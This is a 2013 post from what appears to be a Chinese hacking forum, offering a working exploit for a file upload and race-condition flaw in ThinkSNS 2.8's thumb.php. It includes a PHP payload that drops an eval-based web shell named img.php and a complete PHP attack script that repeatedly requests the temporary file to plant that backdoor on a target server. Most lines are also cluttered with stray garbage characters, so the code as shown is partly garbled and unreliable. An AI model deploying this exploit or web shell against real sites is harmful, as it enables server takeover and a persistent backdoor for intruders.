找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2040|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本- y  Q4 B2 Y" q2 K& h: W
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)5 s/ h+ \) \5 E$ ?& x+ {
漏洞文件
+ b8 N4 ^2 D' E: [, ^! A存在漏洞的文件为:thumb.php
0 E4 h2 o2 H- Y2 A, r; _8 v+ n作者:韦鲲鹏, {; r/ ^. o& K' o, c% f7 {2 Z
1、        准备如下PHP文件并上传到服务器(自己的)。! J' \5 I- x+ U) [1 a7 g  @
文件内容如下:2 [4 A: d, H8 l1 C2 L
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
2 d3 f+ e! A* G2、        计算出临时的文件名:; D' S- m- n! G
这里我们可以看文件的99行(刚刚是不是没注意呀!)。& D) V" |6 e2 u# i# n

3 N& j4 o/ s) Y7 g3、        上传临时文件。
# }9 q9 f/ Q& S. D4、        访问临时文件。
4 |9 m# }! s* |+ d1 z, h但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)) @& h( ~" t: g2 k" j5 m
Exploit文件内容如下:(这个我就不详细解释了)! v* A8 T0 [2 |. v- ?/ h  d
<?php
" d/ k, Q+ k1 A- E. Qerror_reporting(0);' y& \, O( L: a; N6 w+ Y
set_time_limit(0);
1 l! A8 R! Y4 N  N7 a. Vini_set(“default_socket_timeout”, 5);; K; a( V* I' }: L- X- x
function http_send($host, $port, $headers) {
* g' I" O% u. w3 m9 l$fp = fsockopen($host, $port);
9 g( E6 O4 z! Zif (!$fp) die(‘Connection -> fail’);' |, ^, ~9 Q: y) {- g7 g
fputs($fp, $headers);
  y% O9 ]1 l# m9 Kreturn $fp;% a- q, o# O& T5 |# R( @
}4 Q* y* M& C* L- a  v1 h" |9 x$ ~
function http_recv($fp) {
4 t. P  w9 ^* ~8 H  R  y$ret=”";/ k8 \0 C3 _- B2 a9 N1 U! [( t
while (!feof($fp))
% n5 n1 G; ?+ j; b  S' ^$ret.= fgets($fp, 1024);
( m/ j. e, G/ ?' bfclose($fp);
3 v6 M2 K+ k9 _/ lreturn $ret;) f9 n9 H% p2 ~3 Y, W7 i# F9 N- E
}
; W/ |5 K- |( N3 @& {, Cprint “\n#  ThinkSns Arbitrary File Upload   #\n”;
. v2 x% }8 r( [4 H- j; e( D' pprint “# Discovered by 韦鲲鹏 #\n\n”;* Z' L' d0 `3 Q' V9 ^, c
if ($argc < 4) {
$ A8 H% q, a. o# s: Y' _print “Usage:   php <host> <path> <romote_url>\n”;8 n' }# z; y  \) i3 d
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;* L1 m; D" A  |" W) Z3 [: ?
die();$ J) U7 u) n& s) X2 r' l
}6 ~! A% f0 h+ T  s2 a
$host = $argv[1];: U, j/ d0 o7 [4 ^) Y/ P, p8 @
$path = $argv[2];
* h" U+ M, N9 x/ Q: h$url = $argv[3];
5 B" d& q- l7 x/ J6 M, I$i=0;
- l. }$ A0 h5 {1 B' T3 N) ]9 |//上传数据包3 J* Q& _: a1 Z/ J- P6 ^; o6 f
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;9 @# E6 S: X, P$ L& x9 _
$headers_up .= “Host: “.$host.”\r\n”;( D& n* n( e4 ?4 H+ E8 q: c# ~$ s
$headers_up .= “Connection: close\r\n\r\n”;
" }, G5 V; P+ D! M% g0 J8 o, hecho $headers_up;
) l, S. v% t  y# U' o+ l//临时文件访问数据包2 b3 t# l4 `6 r1 Q" c/ ]. g
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;; V* f& x$ r8 p4 p% k+ l* c9 k, B7 U
$headers .= “Host: “.$host.”\r\n”;
6 h- R5 ^; u- S6 w$headers .= “Connection: close\r\n\r\n”;! I% S/ T8 r# {( g0 c. F( e% W
echo $headers;
2 d6 i2 Z, n% H& Awhile(++$i<10) {" E4 J' \1 J) S, [0 T
fclose(http_send($host, 80, $headers));
( O8 w1 {# m1 p. w! N( q; k( p}
9 k) @- M2 g- }/ nfclose(http_send($host, 80, $headers_up));. j5 H' A: M/ R' q
while(++$i<50) {
+ }0 {  o- J4 N: A; K: n/ lfclose(http_send($host, 80, $headers));5 Y4 v& Y; b5 {6 l
}
+ B( j. k# R/ s$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;' T1 T7 h4 b+ l6 b  D
$headers .= “Host: “.$host.”\r\n”;7 t# K' w# @" U4 V- i$ `2 I
$headers .= “Connection: close\r\n\r\n”;7 Q( J& h! c- f+ h" i7 A
$res=http_recv(http_send($host, 80, $headers));
  y7 x3 y4 A! f' tif(preg_match(‘/200 OK/’,$res)) {
0 j) k) p9 {- |; Y6 k1 L, {9 Jprint “Success!\n\n”;
( E, u8 L: T7 M. I! I! ]9 ?} else {3 ^" I" _4 E" V2 M
print “Fail!\n\n”;
3 H& r: v! @( x4 I$ j( f8 F, \}
5 g6 m. s7 E, v. O) `?>+ W. a* ?( N; ^* F$ H/ b
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表